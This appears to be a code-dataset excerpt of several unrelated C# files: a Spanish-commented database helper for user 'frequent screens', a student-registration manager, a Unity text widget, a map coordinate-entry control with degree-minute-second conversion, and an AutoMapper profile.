obj_inicio.iResultado = int.Parse(sResultado[0]);
obj_inicio.sMensaje = sResultado[1];
obj_inicio.sContenido = "La pantalla frecuente ya se encuentra agregada al usuario.";
}
else
{
//Se atrapa el error que arroje la consulta
obj_inicio.iResultado = 0;
obj_inicio.sMensaje = sResultado[0];
}
}
#endregion
/// <summary>
/// Método para guardar o eliminar una pantalla frecuente
/// </summary>
/// <param name="obj_inicio"></param>
#region fn_guardar_eliminar_pantalla_frecuente
public void fn_guardar_eliminar_pantalla_frecuente(Inicio obj_inicio)
{
//Se instancia la clase conexión
Conexion obj_conexion = new Conexion();
//Nombre del procedimiento almacenado
string sRes = obj_conexion.generarSP("pa_GuardarEliminarPantallaFrecuente", 0);
if (sRes == "1")
{
try
{
//Se pasan los parametros del SP
obj_conexion.agregarParametroSP("@iIdPantallaFrecuente", SqlDbType.Int, obj_inicio.iIdPantallaFrecuente.ToString());
obj_conexion.agregarParametroSP("@iIdUsuario", SqlDbType.Int, obj_inicio.iIdUsuario.ToString());
obj_conexion.agregarParametroSP("@type", SqlDbType.Int, obj_inicio.type.ToString());
obj_conexion.agregarParametroSP("@iIdUsuarioAccion", SqlDbType.Int, obj_inicio.iIdUsuarioAccion.ToString());
//Se ejecuta el SP
sRes = obj_conexion.ejecutarProc();
}
catch (Exception ex)
{
//Se captura el error en caso de haber
sRes = ex.Message;
}
}
//Si el SP se ejecutó correctamente se retorna el mensaje de éxito
if (sRes == "1")
{
obj_inicio.iResultado = 1;
if (type == 1)
obj_inicio.sMensaje = "Pantalla frecuente agregada con éxito.";
else
obj_inicio.sMensaje = "Pantalla frecuente eliminada con éxito.";
}
//Si el SP no se ejecutó correctamente se retorna el mensaje de error
else
{
obj_inicio.iResultado = 0;
obj_inicio.sMensaje = sRes;
}
}
#endregion
/// <summary>
/// Método para obtener tipo usuario
/// </summary>
/// <param name="obj_inicio"></param>
#region fn_obtener_tipo_usuario
public void fn_obtener_tipo_usuario(Inicio obj_inicio)
{
//Se instancia la clase conexión
Conexion obj_conexion = new Conexion();
//sQuery para validar
string sQuery = "SELECT tbu.iIdTipoUsuario FROM tb_Usuarios tbu WHERE tbu.iIdUsuario=" + obj_inicio.iIdUsuario;
string[] sRes = obj_conexion.ejecutarConsultaRegistroSimple(sQuery);
//Se retorna el sResultado
obj_inicio.iTipoUsuario = int.Parse(sRes[1]);
}
#endregion
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using UniversityCourseAndResultMangementSystem.Gateway;
using UniversityCourseAndResultMangementSystem.Models;
namespace UniversityCourseAndResultMangementSystem.Manager
{
public class RegisterStudentManager
{
private RegisterStudentGateway _registerStudentGateway = new RegisterStudentGateway();
public int SaveRegisterStuden(RegisterStudentModel registerStudentModel)
{
return _registerStudentGateway.InsertRegisterStudent(registerStudentModel);
}
}
} |
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
public class RealAngusTextWidget : MonoBehaviour {
public Text mainText;
Vector3 onscreenPosition;
Vector3 offscreenPosition;
float offscreenRotation = 20;
float onscreenRotation = 0;
RectTransform rectTransform;
InOutTransitioner transitioner;
void Awake() {
rectTransform = GetComponent<RectTransform> ();
MaybeMakeTransitioner ();
}
// Use this for initialization
void Start () {
MaybeMakeTransitioner ();
}
// Update is called once per frame
void Update () {
MaybeMakeTransitioner ();
if (!transitioner.IsTransitioning ()) {
return;
}
transitioner.UpdateTransitionFraction ();
float timeFraction = transitioner.GetFractionIn ();
Utilities.LerpTransform (timeFraction,
offscreenPosition, offscreenRotation, 1,
onscreenPosition, onscreenRotation, 1,
transform);
}
public void ConfigureLayout(float width, float height,
Vector2 onscreenPosition,
Vector2 offscreenPosition) {
MaybeMakeTransitioner ();
rectTransform = GetComponent<RectTransform> ();
this.onscreenPosition = onscreenPosition;
this.offscreenPosition = offscreenPosition;
rectTransform.sizeDelta = new Vector2 (width, height);
}
public void TransitionIn(RealAngusItemDesc raid) {
MaybeMakeTransitioner ();
transitioner.Transition (true);
mainText.text = raid.text;
}
public void TransitionOut() {
MaybeMakeTransitioner ();
transitioner.Transition (false);
}
void MaybeMakeTransitioner() {
if (transitioner == null) {
transitioner = new InOutTransitioner (TweakableParams.realAngusCardMoveTime);
}
}
}
|
using gView.Framework.Geometry;
using System;
using System.Windows.Forms;
namespace gView.Plugins.MapTools.Controls
{
public partial class CoordControl : UserControl
{
ISpatialReference _sRef = null;
public CoordControl()
{
InitializeComponent();
panelXY.Dock = panelLonLat.Dock = DockStyle.Fill;
for (int i = 0; i < 12; i++)
{
cmbDigits.Items.Add(i);
cmbDigits2.Items.Add(i);
}
cmbDigits.SelectedItem = 2;
cmbDigits2.SelectedItem = 8;
chkThousandsSeperator.Checked = numX.ThousandsSeparator;
cmbDMS.SelectedIndex = 0;
numLonMin.Location = new System.Drawing.Point(numLon.Location.X + 40, numLon.Location.Y);
numLatMin.Location = new System.Drawing.Point(numLat.Location.X + 40, numLat.Location.Y);
numLonSec.Location = new System.Drawing.Point(numLon.Location.X + 75, numLon.Location.Y);
numLatSec.Location = new System.Drawing.Point(numLat.Location.X + 75, numLat.Location.Y);
}
public void Init(IPoint point, ISpatialReference sRef)
{
this.Point = point;
this.SpatialReference = sRef;
}
public IPoint Point
{
get
{
return new gView.Framework.Geometry.Point((double)numX.Value, (double)numY.Value);
}
set
{
if (value != null)
{
numX.Value = (decimal)value.X;
numY.Value = (decimal)value.Y;
if (panelLonLat.Visible)
{
SetDMS();
}
}
}
}
public ISpatialReference SpatialReference
{
get { return _sRef; }
set
{
if (value != null &&
(_sRef == null ||
!value.Equals(_sRef)))
{
IPoint p = GeometricTransformerFactory.Transform2D(
this.Point,
_sRef,
value) as IPoint;
_sRef = value;
if (_sRef.SpatialParameters.IsGeographic)
{
panelLonLat.Visible = true;
panelXY.Visible = false;
}
else
{
panelXY.Visible = true;
panelLonLat.Visible = false;
}
if (p != null)
{
this.Point = p;
}
}
}
}
#region PanelXY
private void cmbDigits_SelectedIndexChanged(object sender, EventArgs e)
{
numX.DecimalPlaces = numY.DecimalPlaces = (int)cmbDigits.SelectedItem;
}
private void chkThousandsSeperator_CheckedChanged(object sender, EventArgs e)
{
numX.ThousandsSeparator = numY.ThousandsSeparator = chkThousandsSeperator.Checked;
}
#endregion
#region PanelLonLat
private void cmbDigits2_SelectedIndexChanged(object sender, EventArgs e)
{
cmbDMS_SelectedIndexChanged(sender, e);
}
private void cmbDMS_SelectedIndexChanged(object sender, EventArgs e)
{
switch (cmbDMS.SelectedIndex)
{
case 0:
numLon.Width = numLat.Width = 150;
numLat.DecimalPlaces = numLon.DecimalPlaces = (int)cmbDigits2.SelectedItem;
numLonMin.Visible = numLatMin.Visible = false;
numLonSec.Visible = numLatSec.Visible = false;
break;
case 1:
numLon.Width = numLat.Width = 40;
numLat.DecimalPlaces = numLon.DecimalPlaces = 0;
numLonMin.Visible = numLatMin.Visible = true;
numLonMin.Width = numLatMin.Width = 110;
numLonMin.DecimalPlaces = numLatMin.DecimalPlaces = Math.Max((int)cmbDigits2.SelectedItem - 2, 0);
numLonSec.Visible = numLatSec.Visible = false;
break;
case 2:
numLon.Width = numLat.Width = 40;
numLat.DecimalPlaces = numLon.DecimalPlaces = 0;
numLonMin.Visible = numLatMin.Visible = true;
numLonMin.Width = numLatMin.Width = 35;
numLonMin.DecimalPlaces = numLatMin.DecimalPlaces = 0;
numLonSec.Visible = numLatSec.Visible = true;
numLonSec.Width = numLatSec.Width = 75;
numLonSec.DecimalPlaces = numLatSec.DecimalPlaces = Math.Max((int)cmbDigits2.SelectedItem - 4, 0);
break;
}
SetDMS();
}
private void numLonLat_ValueChanged(object sender, EventArgs e)
{
GetFromDMS();
}
#endregion
#region DMS
private void ToDMS(decimal dec, out decimal min, out decimal sec)
{
decimal floor = dec - Math.Floor(dec);
min = floor * (decimal)60;
decimal minfloor = min - Math.Floor(min);
sec = minfloor * (decimal)60;
}
private decimal FromDMS(decimal d, decimal m, decimal s)
{
return d + m / (decimal)60 + s / (decimal)3600;
}
private void SetDMS()
{
numLon.ValueChanged -= new EventHandler(numLonLat_ValueChanged);
numLat.ValueChanged -= new EventHandler(numLonLat_ValueChanged);
numLonMin.ValueChanged -= new EventHandler(numLonLat_ValueChanged);
numLatMin.ValueChanged -= new EventHandler(numLonLat_ValueChanged);
numLonSec.ValueChanged -= new EventHandler(numLonLat_ValueChanged);
numLatSec.ValueChanged -= new EventHandler(numLonLat_ValueChanged);
IPoint point = this.Point;
cmbLon.SelectedIndex = (numX.Value < (decimal)0) ? 1 : 0;
cmbLat.SelectedIndex = (numY.Value < (decimal)0) ? 1 : 0;
decimal lonMin, latMin, lonSec, latSec;
ToDMS(Math.Abs(numX.Value), out lonMin, out lonSec);
ToDMS(Math.Abs(numY.Value), out latMin, out latSec);
switch (cmbDMS.SelectedIndex)
{
case 0:
numLon.Value = Math.Abs(numX.Value);
numLat.Value = Math.Abs(numY.Value);
break;
case 1:
numLon.Value = Math.Abs(Math.Floor(numX.Value));
numLat.Value = Math.Abs(Math.Floor(numY.Value));
numLonMin.Value = lonMin;
numLatMin.Value = latMin;
break;
case 2:
numLon.Value = Math.Abs(Math.Floor(numX.Value));
numLat.Value = Math.Abs(Math.Floor(numY.Value));
numLonMin.Value = Math.Floor(lonMin);
numLatMin.Value = Math.Floor(latMin);
numLonSec.Value = lonSec;
numLatSec.Value = latSec;
break;
}
numLon.ValueChanged += new EventHandler(numLonLat_ValueChanged);
numLat.ValueChanged += new EventHandler(numLonLat_ValueChanged);
numLonMin.ValueChanged += new EventHandler(numLonLat_ValueChanged);
numLatMin.ValueChanged += new EventHandler(numLonLat_ValueChanged);
numLonSec.ValueChanged += new EventHandler(numLonLat_ValueChanged);
numLatSec.ValueChanged += new EventHandler(numLonLat_ValueChanged);
}
private void GetFromDMS()
{
switch (cmbDMS.SelectedIndex)
{
case 0:
numX.Value = numLon.Value;
numY.Value = numLat.Value;
break;
case 1:
numX.Value = FromDMS(numLon.Value, numLonMin.Value, 0);
numY.Value = FromDMS(numLat.Value, numLatMin.Value, 0);
break;
case 2:
numX.Value = FromDMS(numLon.Value, numLonMin.Value, numLonSec.Value);
numY.Value = FromDMS(numLat.Value, numLatMin.Value, numLatSec.Value);
break;
}
if (cmbLon.SelectedIndex == 1)
{
numX.Value = -numX.Value;
}
if (cmbLat.SelectedIndex == 1)
{
numY.Value = -numY.Value;
}
}
#endregion
}
}
|
using AutoMapper;
namespace Uintra.Core.Controls.LightboxGallery
{
public class LightboxAutoMapperProfile : Profile
{
public LightboxAutoMapperProfile()
{
//Mapper.CreateMap<LightboxGalleryPreviewModel, LightboxGalleryPreviewViewModel>()
// .ForMember(d => d.Links, o => o.Ignore())
// .ForMember(d => d.Medias, o => o.Ignore())
// .ForMember(d => d.HiddenImagesCount, o => o.Ignore())
// .ForMember(d => d.OtherFiles, o => o.Ignore());
CreateMap<LightboxGalleryItemViewModel, LightboxGalleryItemPreviewModel>();
}
}
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.